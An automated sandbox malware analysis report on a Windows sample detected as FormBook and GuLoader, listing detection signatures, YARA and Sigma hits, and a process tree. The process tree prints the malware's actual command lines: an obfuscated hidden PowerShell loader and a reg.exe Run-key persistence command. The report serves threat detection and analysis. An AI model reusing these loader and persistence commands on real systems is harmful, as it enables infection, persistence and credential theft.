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Windows
Analysis Report
160420241245287.exe
Overview
General Information
Detection
FormBook, GuLoader
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Antivirus detection for URL or domain
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for domain / URL
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Yara detected FormBook
Yara detected GuLoader
Found direct / indirect Syscall (likely to bypass EDR)
Found suspicious powershell code related to unpacking or dynamic code loading
Hides threads from debuggers
Machine Learning detection for dropped file
Machine Learning detection for sample
Maps a DLL or memory area into another process
Modifies the context of a thread in another process (thread injection)
Obfuscated command line found
Performs DNS queries to domains with low reputation
Powershell drops PE file
Queues an APC in another process (thread injection)
Sample uses process hollowing technique
Suspicious powershell command line found
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Mail credentials (via file / registry access)
Writes to foreign memory regions
Checks if the current process is being debugged
Contains functionality for execution timing, often used to detect debuggers
Contains functionality for read data from the clipboard
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to call native functions
Contains functionality to dynamically determine API calls
Contains functionality to read the PEB
Contains functionality to shutdown / reboot the system
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Drops PE files
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found inlined nop instructions (likely shell or obfuscated code)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: CurrentVersion Autorun Keys Modification
Sigma detected: Direct Autorun Keys Modification
Sigma detected: Potential Dosfuscation Activity
Sigma detected: Potential Persistence Attempt Via Run Keys Using Reg.EXE
Uses 32bit PE files
Uses code obfuscation techniques (call, push, ret)
Uses reg.exe to modify the Windows registry
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara signature match
Classification
- System is w10x64
- 160420241245287.exe (PID: 7272 cmdline:
"C:\Users\ user\Deskt op\1604202 41245287.e xe" MD5: 0FAF0632777806D9E8C13F1CA6FC3237) - powershell.exe (PID: 7304 cmdline:
"powershel l.exe" -wi ndowstyle hidden "$T itelbladen es=Get-Con tent 'C:\U sers\user\ AppData\Ro aming\opbe varingsste der\Shrink ageproof\U rsa\Sokler nes\Randru sianeren.U nf';$Rysle rne=$Titel bladenes.S ubString(7 5194,3);.$ Ryslerne($ Titelblade nes)" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC) - conhost.exe (PID: 7312 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - cmd.exe (PID: 7456 cmdline:
"C:\Window s\system32 \cmd.exe" /c "set /A 1^^0" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B) - Untapestried.exe (PID: 7908 cmdline:
"C:\Users\ user\AppDa ta\Local\T emp\Untape stried.exe " MD5: 0FAF0632777806D9E8C13F1CA6FC3237) - cmd.exe (PID: 7944 cmdline:
"C:\Window s\System32 \cmd.exe" /c REG ADD HKCU\Soft ware\Micro soft\Windo ws\Current Version\Ru n /f /v "L gplante" / t REG_EXPA ND_SZ /d " %Divergent e% -window style mini mized $Mil libar=(Get -ItemPrope rty -Path 'HKCU:\Cic oniform\') .Syskerne; %Divergent e% ($Milli bar)" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B) - conhost.exe (PID: 7952 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - reg.exe (PID: 8000 cmdline:
REG ADD HK CU\Softwar e\Microsof t\Windows\ CurrentVer sion\Run / f /v "Lgpl ante" /t R EG_EXPAND_ SZ /d "%Di vergente% -windowsty le minimiz ed $Millib ar=(Get-It emProperty -Path 'HK CU:\Ciconi form\').Sy skerne;%Di vergente% ($Millibar )" MD5: CDD462E86EC0F20DE2A1D781928B1B0C) - bvvgQqxLmFZr.exe (PID: 4888 cmdline:
"C:\Progra m Files (x 86)\PgUIBA hYIyzKBwnh MMfkCsgFfu ljYPVYwOeO fmSnegE\bv vgQqxLmFZr .exe" MD5: 32B8AD6ECA9094891E792631BAEA9717) - cmd.exe (PID: 8064 cmdline:
"C:\Window s\SysWOW64 \cmd.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B) - bvvgQqxLmFZr.exe (PID: 1908 cmdline:
"C:\Progra m Files (x 86)\PgUIBA hYIyzKBwnh MMfkCsgFfu ljYPVYwOeO fmSnegE\bv vgQqxLmFZr .exe" MD5: 32B8AD6ECA9094891E792631BAEA9717) - firefox.exe (PID: 4348 cmdline:
"C:\Progra m Files\Mo zilla Fire fox\Firefo x.exe" MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)
- cleanup
Name | Description | Attribution | Blogpost URLs | Link |
---|---|---|---|---|
Formbook, Formbo | FormBook contains a unique crypter RunPE that has unique behavioral patterns subject to detection. It was initially called "Babushka Crypter" by Insidemalware. |
Name | Description | Attribution | Blogpost URLs | Link |
---|---|---|---|---|
CloudEyE, GuLoader | CloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored. | No Attribution |
⊘No configs have been found
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_FormBook_1 | Yara detected FormBook | Joe Security | ||
Windows_Trojan_Formbook_1112e116 | unknown | unknown |
| |
JoeSecurity_FormBook_1 | Yara detected FormBook | Joe Security | ||
Windows_Trojan_Formbook_1112e116 | unknown | unknown |
| |
JoeSecurity_FormBook_1 | Yara detected FormBook | Joe Security | ||
Click to see the 10 entries |
System Summary |
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Source: | Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): |
Source: | Author: Victor Sergeev, Daniil Yugoslavskiy, oscd.community: |
Source: | Author: frack113, Nasreddine Bencherchali (Nextron Systems): |
Source: | Author: Florian Roth (Nextron Systems): |
Source: | Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): |
⊘No Snort rule has matched
Click to jump to signature section
Show All Signature Results
AV Detection |
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Source: | URL Reputation: |
Source: | Virustotal: | Perma Link |
Source: | Virustotal: | Perma Link |
Source: | Virustotal: | Perma Link |
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Source: | Joe Sandbox ML: |
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Source: | Code function: | 0_2_00405772 | |
Source: | Code function: | 0_2_0040622D | |
Source: | Code function: | 0_2_00402770 | |
Source: | Code function: | 12_2_0284B880 |
Source: | File opened: | Jump to behavior | ||
Source: | File opened: | Jump to behavior | ||
Source: | File opened: | Jump to behavior | ||
Source: | File opened: | Jump to behavior | ||
Source: | File opened: | Jump to behavior | ||
Source: | File opened: | Jump to behavior |
Source: | Code function: | 12_2_02839430 | |
Source: | Code function: | 12_2_02841DAF | |
Source: | Code function: | 12_2_02841DD0 |
Networking |
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